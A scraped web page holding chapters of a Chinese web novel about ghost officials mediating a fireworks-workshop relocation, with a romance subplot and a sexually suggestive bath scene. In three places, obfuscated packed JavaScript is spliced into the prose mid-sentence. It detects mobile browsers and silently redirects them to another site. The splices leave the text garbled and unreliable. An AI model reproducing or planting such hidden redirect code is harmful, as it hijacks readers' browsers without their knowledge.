“如果他还不听呢?” “那我就报警……”祝平安慢慢醒过味来了,“你是说,如果只是想解决问题,那手段往往是逐渐升级,先礼后兵的。和平协商不成,才会考虑告官或者曝给媒体……这就是所谓的办事流程。” “没错,真想解决问题,哪有一上来就喊打喊杀的,那不成了激化矛盾了?”温尔雅唇边不由得勾起一个冷笑,“他们去示威游行,对星雨烟花工坊有何影响?最多给人骂几句罢了。既然喊打喊杀没有用,那他们是喊给谁听的?” “……是给我们听的。”祝平安的脑子飞快的转动着,“一旦酿成群体性事件,首先被问责的就是我们差役,只要我们不想看到游行示威,就必须站在他这一边……他是要强行把我们绑上这条船。” 原来被人当枪使是这个意思,她愤愤道:“他以为我会怕吗?我绝不让他得逞!” “硬来是不行的,虽然他有些小心思,但他也是银花街的居民,写一篇文章抨击生活环境差,不能说他有什么错误。”温尔雅安抚地拍拍她的背,“柴编辑那篇文章是写给我们看的不假,但也是写给市民看的。” “这件事的社会影响很大,大家都被他说服了,陆续有人去烟花工坊闹事,逼得工人们把工坊都改成阵地了,还有好几个环保组织加入其中……他现在是占领了绝对的舆论高地,如果这个时候跟他硬顶,只怕群众的唾沫星子都要淹死我们,事态只会越演越烈。” 好嘛,这枪不当都不行了,祝平安有点颓:“真不甘心……” “也不用这么垂头丧气的嘛。”温尔雅看她七情上面,不由得有点好笑:“知道他打什么主意,自然就能兵来将挡,水来土掩。普天之下,难道就他柴编辑一个人懂得利用舆论不成?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949896|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 兴许是说到了自己擅长的领域,他这句话说的意气风发,这份自信给他那十分的绝色,更添了五分的风华,看的祝平安都忍不住有点犯花痴了。 她放纵自己观赏了温尔雅五秒钟,这才恋恋不舍地移开目光:“那还等什么?赶紧回去跟大家商量一下吧!” 深夜的会议室,张松鹤泡了一大壶浓茶,大家被紧急召回,都是一副睡眠不足的样子,个个用怨念的眼神看着祝平安。 祝平安却丝毫未觉,她满脑子都是自己刚刚的发现:“……就是这样,大家有什么看法?” “我来说一个吧。”张松鹤立刻发言了,“你们这个思路不错,但还可以更完善。” 他站起身,在会议室的黑板上画了一个问号:“我来补充几个问题:首先,这一切暂时都还是你们的猜想吧?你们是否查证了,柴编辑此前没投诉过烟花工坊??” 见祝平安摇头,他吩咐两人:“一会儿先去治安组查查档案,然后告诉我们结果。” “第二个问题,假如柴编辑之前没有投诉过,那么,烟花工坊开办一百年了,柴编辑住在这里也五六年了,如果他确实难以忍受,为什么之前不说,非要到这个时候才投诉?” 这个问题问的好,祝平安也不由得连连点头:“确实,这是一个可以追查的线索,知道他的动机就好办了。” “还有一个问题,也是最核心的问题。”张松鹤直视着她的眼睛:“如果柴编辑确实是别有用心,这件事,你想怎么处置呢?” 祝平安愣了一下,她想怎么处置呢? 最简单的处置,当然是批判一下柴编辑,然后发布些官方声明,将柴编辑的文章指为胡说八道。 没了柴编辑带头,所谓的银花街居民会也不成气候,此时自然是大事化小,小事化了,她也不用再跟那脾气古怪的贺师傅打交道。 但,不论柴编辑的动机如何,他指出的是不争的事实,烟花工坊跟居民区,就像是猫与鱼,在一块只能互相伤害,条件允许的话,还是远远隔开的好。 猫和鱼,都是她看顾着的一份子,她不想帮着猫去吃鱼,但也不会帮着鱼去赶走猫。 当然了,当务之急,还是先把自己给摘出来,否则七天后,柴编辑真的搞什么游行示威,她可顶不住。 这么一想,她立刻便道:“当然是告诉姓柴的,他那些小心思我们都知道了,让他别再搞煽动舆论、游行威胁那一套。” 张松鹤的眼睛稍稍暗了一下,她这是想要撒手不管了? 岂不料,祝平安又顺溜地说了下去:“他那个倒计时威胁烦死了,像是迁移这种事情,七天怎么够用!少说也得商量一两个月的,他不添乱,我们才好慢慢跟贺师傅商量,这事情急不来嘛!” “不管柴编辑出于什么心理去投诉,烟花工坊开在这里是不合适。”祝平安抱起手臂往后一靠:“交通又堵,空气污染又重,还得跟火药桶住在一起,这事情我们不知道也就算了,知道了,也不能让大家住在这种地方呀,肯定要管到底的!” 她仰起脸,一双清澈眼眸里写满了责无旁贷:“毕竟,我们可是差役呀!” 纵然已经在心中告诫过自己无数次,不要再去关注祝平安,不能让她牵动自己的任何情绪,可张松鹤还是听见,自己的心脏在胸腔里疯狂跳动的声音。 无需任何交流,甚至无需一个眼神,她再一次做出了跟他一样的选择,注定痛苦疲惫灰头土脸,燃烧自己让大家获益的选择。 他不由得捂住了自己的心,它在为一个勇敢而美丽的灵魂倾倒。它抑制不住的亲近着她,亲近着他三百年来的第一个同伴,真正的志同道合者。 该死的,这叫他如何抵抗呢? 77.红鸾旅馆 当天,特别行动组的人齐上阵,把近五年来银花街的案件都筛了一遍,打架斗殴鸡毛蒜皮的事情看了不少,柴编辑家却从没一次报官记录。 根据温尔雅之前看到的鬼民登记簿,柴编辑的家在烟花工坊的上风处,且距离工坊几百米远,这个位置没有可能嗅到浓烟的气味,甚至连烟花爆炸的声音都很难听到。龙如烈甚至还带着环境监测仪器亲自到了现场,验证了这个说法。 凭这一点,几乎可以百分百断定柴编辑有问题了。 吩咐妙妙去查柴编辑突然登报的动机,祝平安则跟温尔雅一块去了星雨烟花工坊。知己知彼,百战百胜,眼看着要打舆论战,他们也得去挖掘一下星雨工坊有什么优势,攒攒弹药好反击。 她本想拉张松鹤一块去,但张松鹤自从开完会脸色就一直很差,几乎是绕着她走,这会儿更是直接没影了,发了传真也不回,最后还是她跟温尔雅一块儿来的。 几乎是不眠不休干了三四天的活,即使现在已经是鬼了,也觉得熬不住。祝平安又累又困,坐在椅子上吃早餐的时候,差点头朝下栽在豆浆碗里,温尔雅慌忙扶住她:“还是回去睡会吧?” 祝平安被热豆浆一激,人倒是清醒不少,摇摇头道:“没事,救灾那时候比现在苦多了,现在时间紧迫,哪有空睡觉,忙正事要紧。” 她起身:“我去卫生间洗洗脸,你等我一会儿。” 这家早餐店的卫生间居然在店门外,想来是为了节省空间。祝平安转出去,到水龙头下用冷水猛泼了两把,这才感觉好了点。 前襟也沾上了一些豆浆,她便把衣服脱下来,也放到水龙头那里搓了两把,好在豆浆没有加糖,不用肥皂也能洗得干净。她埋头搓洗衣服,不经意间余光扫过镜子,正好看到一个熟悉的人影从身后掠过。 这不是唐师妹么? 祝平安张口就想喊,待看清唐师妹的脸色后,又把话咽回了肚子,唐师妹满脸泪痕,鼻尖通红,一看就是刚刚哭过。 这是遇到什么事了么? 幸好唐师妹心事重重的,也完全没注意到她,而是径直往前走去。祝平安跟做贼一样踮起脚尖,悄悄溜回店里,捅捅温尔雅:“我刚刚看见唐师妹在哭!就是贺师傅那个小徒弟!你说,工坊是不是出什么事情了?” 这还真不好说,温尔雅便道:“追上去问问看?” “不好吧,我看她那样子,八成不会告诉我们的……”祝平安眼珠子一转:“咱们还是先看看她要去哪里吧,现在大家都要睡了,她一个人在街上晃荡,也不安全。” 温尔雅当然不会对她的决定有任何意见,于是火速结了账,也陪着她鬼鬼祟祟的跟在唐师妹后头一百米的地方盯梢。 走不多久,便看见唐师妹拐进了一家旅馆,祝平安这下更好奇了。两人摸到旅馆门口,见唐师妹已经上了楼,这才走进门去。 祝平安对着前台小妹亮了一下证件:“刚刚那个客人住几号房?” 前台小妹见是公共安全部的人,哪敢不配合,立马殷勤道:“住302号房间,不过房间不是她开的,是一个叫……我查一下,哦,是一个叫贺元夕的人开的!” 贺元夕有家不住,跑到这里来干嘛?眼看就要睡觉了,唐师妹来旅馆找师兄是怎么回事?祝平安越发疑惑了。 前台小妹明显见多了这种剧情:“刚刚她要上楼,我就觉得不对劲,但她说她不过夜,只是访客,过一会就下来……怎么,您是来扫黄的?您要302号的门钥匙吗?” 祝平安哭笑不得,不过她也无意纠正前台小妹,含糊道:“不用给我门钥匙,302的隔壁房间有住人吗?方便的话,能不能让我们进去,我需要调查302的客人。” “有的有的!301还空着,我这就带你们两位过去!”前台小妹立刻从柜台里拿出钥匙,亲自把她们送上了楼,打开301的门时,还指指桌子上的两个杯子:“把杯子放墙上,贴在耳朵旁边,就能听到隔壁的动静,保证一抓一个准!” 看来是真把他俩当成扫黄的了。 祝平安颇觉好笑,不过前台小妹既然给指了一个好用的工具,不用那就是傻瓜了。她关上门,跟温尔雅一对眼神,一人抄起一个杯子,紧贴在耳朵边,就开始听隔壁的动静。 杯子收音果然有奇效,虽然嗡嗡的有些失真,但语句大概都能分辨出来。只听先是一个女声嘤嘤啜泣:“贺师兄,你就回去吧,跟师父认个错,他毕竟是你爹呀!” 随后便是贺元夕愤怒的话语:“他是我爹?我看他可未必认我这个儿子!烟花工坊才是他的儿子!是他叫你来的?” 没有声音,但唐师妹想必是摇了摇头,因为紧接着便是贺元夕的冷笑:“我就说嘛,他看我不顺眼也不是一天两天了,这次好不容易我自己走了,他还会叫我回去碍他的眼?” 他越说越生气:“还想用工坊继承人的位子来压我,稀罕!就让汪师弟继承他的工坊吧,反正他也瞧不上我!说什么古法最好,我说迁移到大一点的地方,搞机械化生产,他非不听,还说我只知道钱!这次出去,我还非自立门户不可,让老头子看看,什么古法能比得上机械的产能?那才是烟花行业未来的方向!” 唐师妹声音立刻打了颤:“贺师兄!你别说气话!” “我这不是气话,我早就有这个想法了!” “可是你走了,叫我怎么办?” 唐师妹似乎是豁出去了,声音也大了起来:“你又不是不知道,我……我心里一直中意你!为了你,我才一直待在星雨……对家飞天烟花厂出双倍的价钱挖我,我都没去!倘若你也不在星雨了,我留在这还有什么意思?” 对面房间立刻死一样的寂静,祝平安有幸听到大八卦,眼前闪动着一行字:妈呀!还有意外收获! 过了半晌,贺元夕粗粗闷闷的声音才传过来:“……对不起,但是,你最好还是待在星雨……” 良久,才传来唐师妹不敢置信的声音:“贺师兄?你真的……真的对我一点意思也没有吗?” 扑腾一声,似乎是唐师妹跌坐在床上,紧接着,是贺元夕紧张的吼声:“不是!不是!师妹,珊珊,你醒醒,听我说!” “我……我不是对你没意思,但我现在身上一分钱都没有,说要自立门户,可要把生意做起来,也不是一朝一夕……”贺师兄紧张地解释着,“白手起家艰难,我不能叫你跟着我吃苦。你先回星雨等我,我把生意做起来,做了厂长,一定会把你接来,风风光光的娶你做厂长夫人!” 噗呲一声,似乎是唐师妹笑了,她羞涩地问道:“师兄,你不骗我?这是你的真心话?” “句句是真!” 啾地一声,好像是亲吻的声音,贺师兄的话语戛然而止,唐师妹的声音柔柔地传了过来:“师兄,你真傻!讨老婆是做什么的?是要人跟你同甘共苦的,你要自立门户,怎能少了人帮你?做烟花的手艺我也学了八成,不比你差,你既要走,我便跟你去就是了!” 唐师妹的声调动听如歌:“天涯海角,咱们都在一块,永远都跟你一条心。” “师妹……” “师兄……” 这个收获不得了!原来唐师妹跟贺元夕居然是一对儿有情人,现在两个人还打算自立门户了,贺大有跟儿子明显有矛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954498|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盾,要是得知儿子跟小徒弟都不支持自己,他还会这么固执吗? 就算是脾气再古怪,至亲之人的意见也是很重要的,这都是可以利用的子弹啊! 祝平安在脑子里盘算着这些,眼睛忍不住都发起光来,忽见温尔雅盯着自己,脸都红透了,不禁奇怪,他这是在看啥? 她勉强从脑子里的盘算回神,这才听到,耳边啾啾的声音变得越来越响,还夹杂着两人气喘吁吁的声音:“师兄……” “……嗯?” “再……吻我一下……” 唉哟!怎么两分钟不到,你们俩就已经进展到二垒了? 不对,二垒还没打住,这两个人多年的窗户纸一朝捅破,热情燃烧起来就无法收拾,转眼就奔着本垒去了。 贺元夕的喘息声越来越大:“师兄……先到床上去……” 祝平安的脸也跟着红透了,这下子可成侵犯公民隐私权了啊,她连忙把杯子拿开,顺手也把温尔雅的杯子给夺了过来,非礼勿听非礼勿听。 她尴尬道:“信息搜集差不多了,不如咱们撤?” 温尔雅却摇了摇头:“还是留下来好。人因秘密变得亲近,他们本就是支持迁移的,若他们知道,你已经再发现了她跟贺元夕的关系,他们会对你更加配合。” 祝平安也承认他说的有道理,于是接下来,两人就只好坐在301,等隔壁结束。 很快,祝平安就悲催的发现,这旅馆隔音效果不咋样啊!怪不得刚刚能听得那么清楚!而且,你们二位也太激情了吧! 撩人的声音与粗喘无孔不入地钻进来,祝平安也是正当妙龄,让这声音弄得浑身都痒痒,目光不知不觉地就看向了温尔雅。 只一眼,她的眼神就再也移不开了。 他跪坐在床边,双颊成了粉红色,美丽的眼睛水汪汪的,像是被扔了一颗石子的湖面,波光粼粼,春水荡漾,任谁都能看出来,欲望的洪流已经将他浑身冲洗了一遍,他只是强忍着不露出来。 但他失败了,他身躯不知不觉弓起如虾,汗水从他额头流下来,他紧紧咬着自己的嘴唇,在淡粉的唇瓣上留下了几个鲜红的齿痕,不让一丝异样的声音泄露他的秘密。 该死,温尔雅看起来好诱人啊…… 感觉到了她的目光,温尔雅迷离的眼光黏了上来,汗水打湿了他的额发,空气中弥漫着浓郁的花香气。 他不做声,只是恳求地望着她,他的眼睛、他的嘴唇、他的气味,无一不向她透露出同一个信息:他渴望着她的抚摸或摧折。 但即使如此,他的手依然规规矩矩地放在身体两侧,在没有得到许可之前,他绝不会轻举妄动。 这一刻,她是绝对的女王,他是她的臣子、奴隶,他的一切由她主导。 是赐予,还是拒绝? 这份主宰感,让祝平安轻飘飘的,她的心头突然涌起了一阵想要为所欲为的狂热,想要揪扯他柔顺的青丝,抚摸他温润的肌肤,啃噬他白皙的耳廓…… 他想要,而她可以给,她也知道,他会为这份恩赐呻吟颤抖。 为什么不呢? 鬼使神差地,她伸出手,抚上了温尔雅的脸。 下一秒,她的指尖落入了一个火热湿润的地方,他捉住她的手,伸出舌头卷住了她的手指,轻轻一吮。 轰的一声,有什么东西在她心头熊熊燃起。 她用力捂住自己的胸口,那里有一股激情,一股冲动,它们像是野马一样冲撞着她,令她身子一阵发软。她曾认为与温尔雅之间欠缺的火花,现在完全被他的举动点燃。 怎么办?接下来,要怎么办? 78.死生契阔 她不知道自己是费了多大的力气,才克制住自己没去吻上那两片粉唇。她抽出手,扭过头去,仓皇逃进卫生间,打开花洒,把水温调到最冷,冲着自己兜头哗哗浇下来。 冷水激的她浑身发颤,手指间方才被吮吸的酥痒却越发清晰,一直痒到她心底最深处。她几乎忍不住,要冲出去拿某个人狠狠地发泄一下…… 但不行!时机不对劲,现在是在工作时间,卵子上头可要坏大事啊! 温尔雅依然跪坐在床边,他的女王刚刚抛弃了他,自己逃跑了。他当然没有追上去,而是闭上眼睛,埋下头去,努力去平息身体的骚动。 时机不对。 刚刚是他鲁莽了,这样的气氛太过暧昧,令他情难自禁。这是个错误,以后不能再犯。 他已经等待很久,不差这一两天,毕竟,他要的不是在路边旅馆里草率的结合,而是更加堂皇正大的侍奉左右。诱惑她很容易,他早就知道,她的身体是喜欢他的,从第一次见面,她就总是不敢直视他的脸。 可这一切不能来的太快,他的女王需要一些时间,去梳理自己的感情,慎重地做出自己的选择。 直到她亲口说出喜欢他之前,他都不打算再进一步。 他虽然时刻准备着蒙受她的宠幸,但他也同样大胆地觊觎着女王的真心。 那么,平安,你到底喜欢我吗? 卫生间的门一响,祝平安满头湿哒哒的出来,脸色被冷水激得发白,但看上去已经冷静了不少。 她不敢看他的样子,远远扔过来一条浸过冷水的毛巾:“你也擦擦吧。” 湿毛巾盖在他的头上,冷意帮助他将身体里的躁动压下去不少,在毛巾的覆盖下,他唇角一勾,无声地笑了。 自己直接用冷水冲头,却怕他冲水受凉,特意给他弄了一条冷毛巾吗? 这份心意,如斯体贴,如果这不是喜欢,又是什么呢? 快了,快了,他擦着脸,默默地想着,她亲口说出喜欢的日子不会太远了。 隔壁已经云收雨歇,听不见任何声音。想必一对有情人正在哝哝絮语,唐师妹说了她今天不会在这过夜,一会儿应该就会离开。 不敢再跟温尔雅共处一室,祝平安把头发擦擦,把两条湿毛巾都放回去,走到门口等着隔壁的人出来。 温尔雅也沉默着跟了出来,他的表情已经基本恢复正常。 见他过来,祝平安心中颇为矛盾,既希望他离自己近一点,又怕他距离自己太近,让她想些有的没的。结果他自觉地走到离祝平安稍远一点的地方,让她多少松了口气。 又过了半小时,302的门吱呀一声开了一条缝,唐师妹的半只脚踏出了门口,又扭回身去,跟门内人接了一个情意缠绵的告别吻,这才算是结束。 门内人仍旧恋恋不舍:“我送你回去吧。” 唐师妹轻笑道:“别,让师父看见了,又是一场官司。” 贺元夕哼道:“怕什么?早晚他要知道的,索性今天我就跟你一起回去,把事情跟他挑破了,你正好跟着我搬出来,咱们一块过日子。” “大家都睡了,闹起来不好,明天再说吧。” “好好,就依你,明天再说……” 这样说着,门终于大开,贺元夕拥着脸色绯红的唐师妹出了门,一抬眼,就看见祝平安跟温尔雅站在门口等着他们,惊得两人愣在原地,嘴巴都张成了O型。 开房被熟人遇到什么的最囧了,祝平安想要和缓气氛,于是尽量在脸上堆出一个最亲切的笑容:“真巧,遇到两位了。” 贺元夕也是脑袋还没反应过来,看了看祝平安和温尔雅,也是头发潮湿脸色潮红的,下意识的回道:“呵呵,巧,真巧,两位也是到这来开房的?” 虽说某种程度上他没说错……但祝平安两人还是不知道怎么接这句话,只好尴尬地呵呵笑。 唐师妹反应快,立刻狠狠拧了一把贺元夕的胳膊:“人家肯定是到这里办案的,怎么会是开房呢?二位别跟他一般见识。” 温尔雅没说错,秘密会让人变得亲近,现在唐师妹自以为也掌握了祝平安俩人开房的秘密,对他俩立刻亲热多了。当祝平安提出送她回烟花工坊时,她也没拒绝。 唐师妹今夜的心情很好,她与师兄终成眷属,巴不得找个人说点话,加之祝平安也是来“开房”的,她也就没什么避讳,不用祝平安怎么套话,她就把自己和贺元夕之间那些事情都说了。 “我是死后才跟着师父学手艺的,也跟着师父七八年了。一开始我过来只是为了找个销售的工作,可不知怎么就跟师父投了缘,他非要收我做徒弟。” “不过师父性格古怪,每天就是埋头开发新烟花。我偷偷看过他的手稿,似乎他是想做出一种神奇的烟花,发射到天空时,能变成一张人脸……这个项目难度很大,师父好像都研究七八十年了,只是还没进展。我的手艺,其实都是贺师兄手把手教的。” 提到恋人,她眼睛都弯了起来:“贺师兄人真的很好,他性格豪爽,踏实能干,胆大心细,我起初学做烟花,差点把火药弄炸了,他挡在我身前灭火,过后也不怪我,说都怪他没看紧我,那时候,我心里就认定他了……” “近几年生意不好,飞天烟花厂跟我们工坊抢客户抢的很凶,师父坚持用古法做烟花,产能太低,市场都被抢占了。贺师兄每天都忙着维系客户,打开销路,我的手艺又学的差不多了,我们接触的就少了。我还以为,我们俩没希望了……” 说到这,她脸色晕红,嘻嘻笑道:“我还要感谢你们呢!若不是你那天跟师父说,要让工坊迁移,师兄也不会跟师父吵架离家出走,我俩也不会有机会在一起了!” 此时大家已经走到烟花工坊的大门处,望着那块星雨工坊的牌匾,想到将来,她满腹憧憬:“其实也好!银花街的风景,师兄看了一百年,早就看腻了,有机会离开星雨,自立门户,说不准是他的机会呢!” “不错,他早就该走人了。” 一个声音淡淡的响起,把三人都吓了一跳,祝平安下意识地挡在唐师妹身前:“什么人?” 一个光头矮小的老人从墙角里走了出来,不是贺大有是谁?祝平安松口气,抱怨道:“贺师傅,你躲在这做什么?吓了我一跳!” 唐师妹的脸色却一下晴转阴了:“……师父?您……您都听到了?” 贺大有点了点头:“还叫师父?今天起,应该改口叫我爹啦,儿媳妇。” 唐师妹的脸给他闹得通红,但又松了口气。师父脾气那么怪,她最怕师父知道了两人的感情不同意,再闹起来,现在看来,师父好像不反对,反而有些……早该如此的满意? 她一颗提着的心放了下来,可真要叫爹,又有些羞涩:“师父,别老开玩笑!” “不叫我爹,你是不打算嫁给贺师兄吗?”贺大有的声音又冷下去了。 “当然不是!”唐师妹跺了跺脚:“只是、我们还没结婚啊!要我改口,等办了喜事再说吧,师父!” “办不办喜事,我也知道,你是我的儿媳妇啦,你们俩那点事,瞒得过我?”贺大有招招手,示意唐师妹跟她来:“现在,你也该见见你的婆婆了。” 顿了一顿,他招手叫祝平安:“方才听珊珊这么说,你们俩算是小儿的大媒,也一块来吧。” 祝平安跟在贺大有身后,一路七拐八拐绕往工坊深处走去,一边走一边跟唐师妹咬耳朵:“怎么?你师父还有老婆的?”户政可没查到这件事啊。 “可我从没见过有位师娘呀?”唐师妹也糊涂了,贺元夕也从没说过他娘的事情。 很快,祝平安就知道为什么户政没查到贺师娘这个人了,贺大有带着她们走到一个紧锁的屋子,打开门上的三把大锁,推门进去,露出堂桌上的供着的黑白遗像。 等等,他们现在已经都是鬼了吧?在地府里摆遗像, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962261|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里不对劲吧? 贺大有显然不觉得有问题,他点起三柱清香:“金娥,元夕要成家了,今天儿媳妇来看你了,给你上香。” 唐师妹连忙把香接过来,恭恭敬敬的对着遗像上的老婆婆鞠了三个躬,又把香插在香炉里,这才低声问道:“师父,这是师娘?她是怎么了?” “九十年前就投胎去了。”贺大有自然而然地走到堂桌旁边坐下,都不用眼睛看,就从桌旁抽出来一个烟袋锅子,吧嗒吧嗒地抽起来,看那熟稔的样子,就知道这屋子他一定非常熟悉。 “您跟贺大哥都没去投胎,怎么您夫人就先去了?”祝平安觉得有点不对头,按理说他们老夫妻下来的时间差不多,怎会投胎时间差这么远? “我跟元夕自愿延后自己的投胎日期,让金娥能尽快投胎。”贺大有吐出一口烟,“她下来的时候已经病的很严重,糊涂的不行,连我跟元夕都不认识了。这个病,好像叫什么老人痴呆的,那么精明能干的一个人,短短两年就变了个样子,不是哭叫,就是走丢……不尽快让她去投胎,就是受罪。” 原来这样,祝平安释然了。这种事情在地府也是常见的,重病而死的老人,即使变成了鬼也没有任何生活质量可言,地府一向是优先安排她们去投胎的。 等等,这么说,现在贺大有摆的是个活人的遗像?不对,九十年前投胎,现在八成又变回鬼到地府来了…… 贺大有自己也知道,一个死鬼摆着一个已经投胎的活人遗像,是很可笑的,但他却不能不这样子做。这个女人跟他相濡以沫了一辈子,即使她已经忘了一切,转世为人,可是他依然想要记得,贺大有的结发妻子,就是金娥。 他们一家的死因,是一场大火,她糊里糊涂,把炉灶里的火引到了柴堆上,火焰席卷了一切……但他不怪她,都怪自己,没有好好的看住他。 他舍不得她去投胎,这一去,金娥就会永远消失在世界上……但他不能让她再如此痛苦下去。 她走了,走的那天,他甚至没有勇气去送她。他只剩下这个工坊,她在这里度过了最后的十年,一砖一瓦都铭刻过她的脚印,如果房屋因人而有灵性,他相信,这座工坊浸润着她灵魂的气息,他永远都不想离开它。 他留恋地摸了摸供桌上的那个小盒子,打开盖子。 盒子里有一支金镯子,素面无花,款式质朴,却是实心镯子,沉甸甸的,买它花光了他三年的工钱。 成亲那日,他亲手把这支镯子戴在她手腕上,她一辈子也没摘下来过。无论多么艰难,都舍不得拿它去换钱。后来有了儿子,她就说,把它留给将来的儿媳妇…… 贺大有将那镯子拿出来,递给唐师妹:“这是她早就放言要给儿媳妇的,拿着。” 唐师妹虽然羞涩,却知道这个不好推拒的,大大方方接过来戴在手上,又向着遗像鞠了以个躬:“谢谢师娘……娘。” 贺大有看着唐珊珊的脸,一如看见一百多年前的金娥,聪明能干,行事大方,他一瞧见就喜欢,便收她做了徒弟。 儿子虽然混蛋,可在看女人的眼光上,跟老子是一模一样,他也有意给两人制造空间,但儿子比老子差远了,把个大姑娘拖了七八年都不开口定下来,看得他都生气。 不过,今天也算是圆圆满满了,儿子跟喜欢的姑娘在一起,知疼知热,相依相伴,他们做父母的也没啥可操心的了。 他吸一口烟:“今天,主要叮嘱你三件事。第一,你们俩,从今后好好过日子。小事你做主,大事一起商量着来,他有时候犯浑,你也别惯着他。第二,我传给你们的手艺,是已近绝迹的古法,你们不用,但不能忘了,以后也得想个法子给我传下去。第三,年年月月不能忘了给他娘上香,明白?” 唐师妹一一应下:“那,我叫他回来,一块给娘磕个头?” 贺大有在鞋底子上磕一磕烟灰:“也好,让他回来见见他娘,然后他就该滚蛋了。” 79.一种相思,两处幽情 这话一出,一屋子的人都一愣,刚刚还一副舐犊情深的样子,怎么转眼又翻脸了? 贺大有却不管别人怎么想,自顾自说下去:“混小子翅膀硬了,早就想飞,当我不知道?现在他家也成了,想飞就飞吧。你让他后天回来,我把家当分一分,你们俩自立门户去吧!” 说罢,又转向祝平安:“你别打旁的主意,觉得鼓动那混小子就能让我搬迁,我和我的老婆子在这住了一辈子,我死也要死在这,你们少白费劲。” 说罢,看看三炷香已经燃尽,就把人往外轰:“都出去吧,该干什么干什么去。” 祝平安等人被赶出门外,看贺大有把那三把锁一一挂好,自己踩着拖鞋回房睡觉去了,三人对视一眼,均感无奈。 唐师妹哪有心思睡觉?恨不得立刻就跑回旅馆找贺元夕,她扫了一眼祝平安,拿不准是不是应该叫他们一起去。 师兄既然想要自立门户,所需的助力越多越好,若能拿到祝平安说过的那块地,将来他们俩自己办厂,就少了一大笔成本,可她自己不能做这个主…… 温尔雅看出她这不好言明的心思,立刻给她递了一个下台阶:“今日已经很晚,我们就不打扰了,您回去也告诉贺师兄一声,搬迁的事情可以从长计议,他若是想要个地方另开分厂,我们一定支持。您手里不是有我们的地址吗?有需要的话,随时来那里找我们。” 唐师妹深感他考虑的周到,感激地点点头,快步往旅馆走去,看来今天注定是个不眠夜了。 “咱们现在干啥去?”祝平安一时间有点空虚,“他们回去起码商量一天吧,我们好像没啥能干的了,只能干等。” “那就回去睡觉吧?刚刚还困得不行呢。”温尔雅提议。 “说得有理!”祝平安点头了,愉快的掉头回家,忍不住抱怨:“也不知道张松鹤死到哪里去了,怎么活都是我们干?明天绑也得把他绑来,让他参加谈判!” 他一辈子不来才好呢,温尔雅在心底回味起旅馆的片刻旖旎,喉结忍不住动了动,若是张松鹤也参与进来,哪有如此亲昵的机会? 近乎三天没睡,祝平安一进屋子就直挺挺躺在沙发上,一副要立刻入梦的样子,还是温尔雅把她从沙发上挖出来:“不行,你刚刚用凉水冲了头,快去泡热水澡,去去寒气。” “还不都是怪你……”祝平安小声嘟囔一句,温尔雅愣了一下,只觉方才好不容易才平息下去的热意再次蠢蠢欲动,慌忙逃开:“我也先去洗澡了!衣服留在客厅就好,我会帮你洗的!” 温尔雅已经帮她放好了热水,微微烫的温度刚刚好,祝平安一个猛子扎进去,只觉温暖又舒服,连骨头缝都是暖洋洋的。 水中有花椒,是给她活血驱寒的,她把一小粒花椒捞起来,放在鼻子旁边嗅嗅,柔和的暖香直钻进她心里。 古人云,椒房之宠,君王喜爱哪一位妃子,就会让人在那妃子的宫殿里涂上花椒制成的涂料,可有哪一位君王,会记得妃子今日受了寒,亲手把花椒放进澡盆,给她暖身子? 自从他住了进来,她的生活被他安排的妥妥帖帖,聘三个贴身丫鬟都没有他这样细心。 今天胃口不好了,桌上就会摆上开胃的山楂水;若是出外勤腿疼,膏药就出现在她床头;她的脏衣服脱下来,他总会很顺手地帮她洗干净晾好…… 一桩桩、一件件、润物无声,此时回头看去,才能惊觉在那些日常琐事下的一颗真心。 他到底打着朋友的旗号,为她做了多少事? 热水散发出氤氲的水汽,让她眼前有点模糊。不知道是不是泡的太久,她的身躯阵阵发热,指尖也起了皱。 她望着自己的手指,一个念头突然闯进她的脑海里。 这是温尔雅吮吸过的手指。 这个念头就像是洗澡水的热意一般,瞬间笼罩了她的四肢百骸,方才在旅馆强压下去的麻痒之意又在她身体里轰然抬头,那根手指搭在她的胸前,像块烙铁,把她的肌肤都烧成一片殷红。 幻想的阀门一旦打开,各种各样的旖旎念头如猛兽出闸,向她生扑过来。她无力控制,也不想躲避,甚至内心还有些隐隐的期待。 幻想,幻想总是不犯法的,也不会有任何人知道。她处在一个绝对安全而私密的环境,她泡在浴缸里,浴缸里是……是温尔雅给她放的水。 当意识到这件事的时候,她只觉心头那把火烧的更是熊熊,身下的浴缸成了一个柔若春水的温暖怀抱,轻轻依偎着她,厮磨着她,让她的身躯也化成同一摊水。 她眼前又闪过他那双迷蒙的眼睛,想起他粉红的嘴唇,含住她的手指轻轻一吮…… 她将手伸向水下。 祝平安觉得自己成了一株江上芙蓉,在水波中绽放出淡粉的花来,随风摇颤,随波逐流,温热的浪花一波波地拍打着她,她的脚死死抵住浴缸壁,十个脚趾蜷成一团。 